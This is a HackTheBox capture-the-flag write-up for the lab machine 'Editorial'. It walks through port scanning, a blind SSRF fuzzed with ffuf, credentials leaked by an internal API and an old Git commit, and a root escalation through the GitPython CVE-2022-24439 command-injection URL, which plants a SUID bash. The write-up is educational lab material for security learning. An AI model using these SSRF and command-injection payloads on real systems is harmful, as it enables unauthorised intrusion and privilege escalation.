HackTheBox - Editorial Walkthrough

Introduction
Today, I am going to walk through Editorial on Hack the Box, which is an easy-rated machine created by Lanz. Editorial started off by discovering a blind SSRF vulnerability that was leveraged to perform a port scan on the local server to identify an open port. The open port revealed several API endpoints that could be accessed via the original SSRF vulnerability to discover userland credentials. Vertical escalation to another user was possible due to credentials being left in a Git commit, which led to abusing a Python script to escalate to root.
After reviewing my approach and discussing it with others who have also completed the box, I realized that the web application framework was listening on a known port, eliminating the need for a port scan. I still got the same result, but scanning all 65K ports probably wasn't needed.
Initial Enumeration
As always, I started with an Nmap scan to scan all ports which came back with two ports open: 22 and 80.
07/27/24 22:55:47:htb/editorial > sudo nmap -T4 -p- -vvv 10.10.11.20 -oN scans/editorial_allports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-27 22:55 EDT
Initiating Ping Scan at 22:55
Scanning 10.10.11.20 [4 ports]
Completed Ping Scan at 22:55, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 22:55
Completed Parallel DNS resolution of 1 host. at 22:55, 0.00s elapsed
DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 22:55
Scanning 10.10.11.20 [65535 ports]
Discovered open port 80/tcp on 10.10.11.20
Discovered open port 22/tcp on 10.10.11.20
Completed SYN Stealth Scan at 22:56, 16.51s elapsed (65535 total ports)
Nmap scan report for 10.10.11.20
Host is up, received echo-reply ttl 63 (0.066s latency).
Scanned at 2024-07-27 22:55:49 EDT for 16s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Initial Nmap scan against all ports
Knowing what ports were open, I ran another Nmap scan, but this time focusing on just those ports and using default enumeration scripts.
07/27/24 22:58:51:htb/editorial > sudo nmap -sC -sV -oN scans/editorial_openports 10.10.11.20 -p 22,80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-27 22:58 EDT
Nmap scan report for 10.10.11.20
Host is up (0.058s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
|_ 256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://editorial.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Targeted Nmap scan against just open ports
SSH - 22
SSH is almost never going to be the initial way into a machine, so I skipped it until I had either credentials or a key to authenticate with.
HTTP - 80
The targeted Nmap scan hinted at it not following the redirect to http://editorial.htb
. I added the domain to my hosts file so I could resolve it.
[2024-07-21 02:00:45Z] [~/D/c/h/editorial] > echo '10.10.11.20 editorial.htb ' | sudo tee -a /etc/hosts
10.10.11.20 editorial.htb
Adding editorial.htb to the hosts file
After modifying the hosts file, I was able to access the page via the domain name and was brought to the index.

Poking around the page did not reveal much functionality or additional pages that would lead us somewhere. However, there was a feature to submit book information that would then be reviewed by someone.

Part of the submission process was to upload the cover of the book via two methods: the URL of the image or uploading it directly through the page. I first uploaded an example image through the page and noticed the cover preview changed and was uploaded to hxxp://editorial.htb/static/uploads/96d17262-c390-4568-84f9-afbf4178aa74
.

I navigated to the URL where the example image was uploaded and was able to download it. This means we can access files in /static/uploads
if we know the filename.

I hosted the image myself, used the cover URL feature to upload the book cover image, and noticed the web application hit my listener with the machine's IP, which means I might have an SSRF vulnerability on my hands.

If I did not provide a book cover image during the submission process, the form would default to a generic one located at /static/images/unsplash_photo_1630734277837_ebe62757b6e0.jpeg
.

Exploring Possible SSRF on Cover Upload Feature
Rather than continuing to test the potential SSRF vulnerability in Firefox, I captured the same POST request in Burp and passed it to the Repeater tab to make the process easier for myself.
The first thing I did was change my Kali IP in the request to 127.0.0.1
to see if the server would show reveal internal resources. Instead of something interesting, I got the same generic cover image location.

I also attempted to view files such as /etc/passwd
which again, did not work as I got the generic cover image.

/etc/passwd
The last thing I wanted to do was perform a port scan. It is similar to what I did in my Creative walkthrough. However, rather than using wfuzz, I used ffuf.

I started by saving the initial POST request from Burp to a file, similar to what you would do if you wanted to use it in something like SQLMap. After saving it, I changed the port number in the request to FUZZ
, as this is where I wanted ffuf to look and replace the port numbers at.

req.txt
file to use with ffufI then passed this request file to ffuf with a wordlist that contained all 65,535 TCP ports. Looking back, I did not need to do this as the web application is running Flask, which listens on TCP/5000, but hindsight is 20/20.
Here, I am filtering out any response sizes of 61 bytes, which was a baseline I assumed for closed ports based on testing. It made showing any open ports a lot easier.
07/28/24 0:52:19:htb/editorial > ffuf -request req.txt -request-proto http -w /usr/share/wordlists/SecLists/Discovery/Infrastructure/65k-ports.txt --fs 61
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : POST
:: URL : http://editorial.htb/upload-cover
:: Wordlist : FUZZ: /home/gray/Documents/ctf/htb/editorial/65k-ports.txt
:: Header : Host: editorial.htb
:: Header : User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
:: Header : Origin: http://editorial.htb
:: Header : Referer: http://editorial.htb/upload
:: Header : Accept-Encoding: gzip, deflate, br
:: Header : Content-Type: multipart/form-data; boundary=----WebKitFormBoundary53zRzGrcIzJBp1CU
:: Header : Accept: */*
:: Header : Accept-Language: en-US,en;q=0.9
:: Header : Connection: close
:: Data : ------WebKitFormBoundary53zRzGrcIzJBp1CU
Content-Disposition: form-data; name="bookurl"
http://127.0.0.1:FUZZ
------WebKitFormBoundary53zRzGrcIzJBp1CU
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream
------WebKitFormBoundary53zRzGrcIzJBp1CU--
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 61
________________________________________________
5000 [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 69ms]
ffuf discovered port 5000 returned a different response size
Going back to the request I had in Burp, I changed the port to 5000 and confirmed I did not get the generic Unsplash location but instead received a file in static/uploads
which was different than all the previous requests.
Opening the downloaded file, it looked to be in JSON format. It seemed there was an API being served on port 5000, which can only be accessed internally.
/static/uploads
if the filename is known. We learned this from uploading a cover image from before.
SSRF with API Endpoints on Port 5000
To make reading the file I downloaded easier, I passed the file to jq to get proper JSON formatting. The file was a listing of all the various endpoints this API supported.
07/28/24 10:22:12:htb/editorial > jq < ~/Downloads/ae2b9b2a-6f63-4d1f-880e-9f6c03c285fc
{
"messages": [
{
"promotions": {
"description": "Retrieve a list of all the promotions in our library.",
"endpoint": "/api/latest/metadata/messages/promos",
"methods": "GET"
}
},
{
"coupons": {
"description": "Retrieve the list of coupons to use in our library.",
"endpoint": "/api/latest/metadata/messages/coupons",
"methods": "GET"
}
},
{
"new_authors": {
"description": "Retrieve the welcome message sended to our new authors.",
"endpoint": "/api/latest/metadata/messages/authors",
"methods": "GET"
}
},
{
"platform_use": {
"description": "Retrieve examples of how to use the platform.",
"endpoint": "/api/latest/metadata/messages/how_to_use_platform",
"methods": "GET"
}
}
],
"version": [
{
"changelog": {
"description": "Retrieve a list of all the versions and updates of the api.",
"endpoint": "/api/latest/metadata/changelog",
"methods": "GET"
}
},
{
"latest": {
"description": "Retrieve the last version of api.",
"endpoint": "/api/latest/metadata",
"methods": "GET"
}
}
]
}
Listing of the API endpoints that were supported
Using each of these API endpoints in my original SSRF payload in Burp resulted in more files to download that contained useful information from the endpoints, such as this one listing the coupons.

I repeated this process for the rest of the API endpoints and noticed /api/latest/metadata/messages/authors
contained credentials for a user called dev
.

/messages/authors
contained cleartext credentialsKnowing SSH was open on the box, I used these credentials to log in and was able to access the system as the dev
user.

Userland Enumeration
The dev
user did not have any sudo privileges on the machine.
dev@editorial:~$ sudo -l
[sudo] password for dev:
Sorry, user dev may not run sudo on editorial.
No sudo privileges
There were no interesting SUID binaries, apart from the ones that we would expect to see.
dev@editorial:~$ find / -type f -perm -u=s 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/libexec/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/sudo
/usr/bin/umount
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/su
No interesting SUID binaries
There were two users on the box: our current user and another called prod
.
dev@editorial:/var/backups$ ls -l /home
total 8
drwxr-x--- 5 dev dev 4096 Jul 28 07:32 dev
drwxr-x--- 6 prod prod 4096 Jul 28 07:51 prod
Two users on the machine: dev
and prod
.
Exploring further, I found a .git
directory in /home/dev/apps/.git
dev@editorial:~/apps/.git$ ls -l
total 48
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 branches
-rw-r--r-- 1 dev dev 253 Jun 4 11:30 COMMIT_EDITMSG
-rw-r--r-- 1 dev dev 177 Jun 4 11:30 config
-rw-r--r-- 1 dev dev 73 Jun 4 11:30 description
-rw-r--r-- 1 dev dev 23 Jun 4 11:30 HEAD
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 hooks
-rw-r--r-- 1 dev dev 6163 Jun 4 11:30 index
drwxr-xr-x 2 dev dev 4096 Jun 5 14:36 info
drwxr-xr-x 3 dev dev 4096 Jun 5 14:36 logs
drwxr-xr-x 70 dev dev 4096 Jun 5 14:36 objects
drwxr-xr-x 4 dev dev 4096 Jun 5 14:36 refs
Contents of the .git
directory
Viewing the HEAD file reveals several commits have occurred since the initial push.
dev@editorial:~/apps/.git/logs$ cat HEAD
0000000000000000000000000000000000000000 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905723 -0500 commit (initial): feat: create editorial app
3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8 1e84a036b2f33c59e2390730699a488c65643d28 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682905870 -0500 commit: feat: create api to editorial info
1e84a036b2f33c59e2390730699a488c65643d28 b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906108 -0500 commit: change(api): downgrading prod to dev
b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae dfef9f20e57d730b7d71967582035925d57ad883 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906471 -0500 commit: change: remove debug and update api port
dfef9f20e57d730b7d71967582035925d57ad883 8ad0f3187e2bda88bba85074635ea942974587e8 dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb> 1682906661 -0500 commit: fix: bugfix in api port endpoint
Listing recent commits for this repository
Using git show
on each of the commits starting from the initial commit reveals that commit 1e84a036b2f33c59e2390730699a488c65643d28
included the credentials for the prod
user.

dev@editorial:~/apps/.git/logs$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500
feat: create api to editorial info
* It (will) contains internal info about the editorial, this enable
faster access to information.
<snip>
+
+# -- : (development) mail message to new authors
+@app.route(api_route + '/authors/message', methods=['GET'])
+def api_mail_new_authors():
+ return jsonify({
+ 'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_XXXXXXXXXXXXXXXXX\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+ }) # TODO: replace dev credentials when checks pass
Viewing the changes in the commit to reveal credentials
The password in the commit worked, and I was able to switch to the prod
user via my active SSH session.
dev@editorial:~/apps/.git/logs$ su prod
Password:
prod@editorial:/home/dev/apps/.git/logs$ whoami && hostname
prod
editorial
prod@editorial:/home/dev/apps/.git/logs$
Switching to the prod
user
Enumeration as prod User
Unlike the dev
user, prod
did have sudo privileges on the box. The user could run /opt/internal_apps/clone_changes/clone_prod_change.py
as root - this sounded very interesting.
prod@editorial:~$ sudo -l
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User prod may run the following commands on editorial:
(root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
sudo privileges for the prod
user
The script imported a few libraries, including the git
module from the GitPython library. It then changed to /opt/internal_apps/clone_changes
, takes in a repository URL (url_to_clone
) from a command-line argument, initializes a new git repository, and clones the provided repository URL into a new directory called new_changes
.
prod@editorial:~$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3
import os
import sys
from git import Repo
os.chdir('/opt/internal_apps/clone_changes')
url_to_clone = sys.argv[1]
r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
Contents of the Python script run with sudo privileges
The version of the GitPython library is 3.1.29, which is vulnerable to CVE-2022-24439.
prod@editorial:~$ pip freeze | grep GitPython
GitPython==3.1.29
Listing version of GitPython installed on victim

Escalation to Root via clone_prod_change.py
I ran the Python script with sudo
privileges using the malicious URL outlined in the Snyk exploit POC. If successful, a new file called pwned
would be created in /tmp
, and it was.
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"]
Testing CVE-2022-24439 with the provided POC example

pwned
file in /tmp
As I had code execution, I ran the following command. This is one of my go-to escalation vectors, as it does not negatively impact the environment and would be easy to clean up after. I am copying /bin/bash
to /tmp/bash
and then granting SUID permissions to /tmp/bash
.
prod@editorial:/tmp$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c cp% /bin/bash% /tmp/bash% &&% chmod% +s% /tmp/bash'
Traceback (most recent call last):
File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
<snip>
Please make sure you have the correct access rights
and the repository exists.
Running Python script with an exploit to copy /bin/bash
Verifying /tmp/bash
has been copied to /tmp
and has the SUID bit set.
prod@editorial:/tmp$ ls -l
total 1384
-rwsr-sr-x 1 root root 1396520 Jul 28 17:27 bash
drwx------ 3 root root 4096 Jul 28 17:05 systemd-private-8312514ca6c6457ba5ab3ac138cdee30-ModemManager.service-j3DmZT
drwx------ 3 root root 4096 Jul 28 17:05 systemd-private-8312514ca6c6457ba5ab3ac138cdee30-systemd-logind.service-5WVRKl
drwx------ 3 root root 4096 Jul 28 17:05 systemd-private-8312514ca6c6457ba5ab3ac138cdee30-systemd-resolved.service-gEMeUr
drwx------ 3 root root 4096 Jul 28 17:05 systemd-private-8312514ca6c6457ba5ab3ac138cdee30-systemd-timesyncd.service-zLEIlT
drwx------ 2 root root 4096 Jul 28 17:05 vmware-root_749-4282236466
Showing bash
file in /tmp
Used the binary at /tmp/bash
with the -p
argument to escalate to the root user.
-p
argument here was really important. This is what preserves the effective user ID in the new Bash process. If this was not included, the effective ID would have been dropped and would not result in a root shell.
And that is my walkthrough of Editorial! I hope you enjoyed it and learned a thing or two! I know I sure did while doing the box. Until next time!